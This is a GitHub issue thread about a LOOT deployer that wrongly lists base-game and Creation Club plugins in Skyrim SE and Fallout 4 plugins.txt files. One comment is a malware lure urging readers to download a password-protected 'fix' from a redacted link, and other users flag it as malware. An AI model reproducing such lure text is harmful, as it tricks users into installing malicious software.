Open Minizbot2012 opened 2 weeks ago
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to fix your trouble try download this fix, i see it in another issue, [malware link], password: changeme when you installing, you need to place a check in install to path and select "gcc."
AFAIK having them in the plugins file won't break anything either. I agree that they should be excluded, this requires finding all non-mod plugins for all games supported by libloot. Will look into this for 1.0.6.
the comment above is spreading malware, do make sure to let others know of similar comments
Thank you for the warning. It seems like GitHub has now auto deleted the spam message.
Skyrim SE's plugins.txt fomat should not have creation club content nor the base game files listed in it, those are enforced by the game itself, the same with fallout 4. Currently the LOOT deployer adds them to the Plugins.txt file, incorrectly.
The Skyrim.ccc file in the SE root directory lists the creation club plugins, as a text file.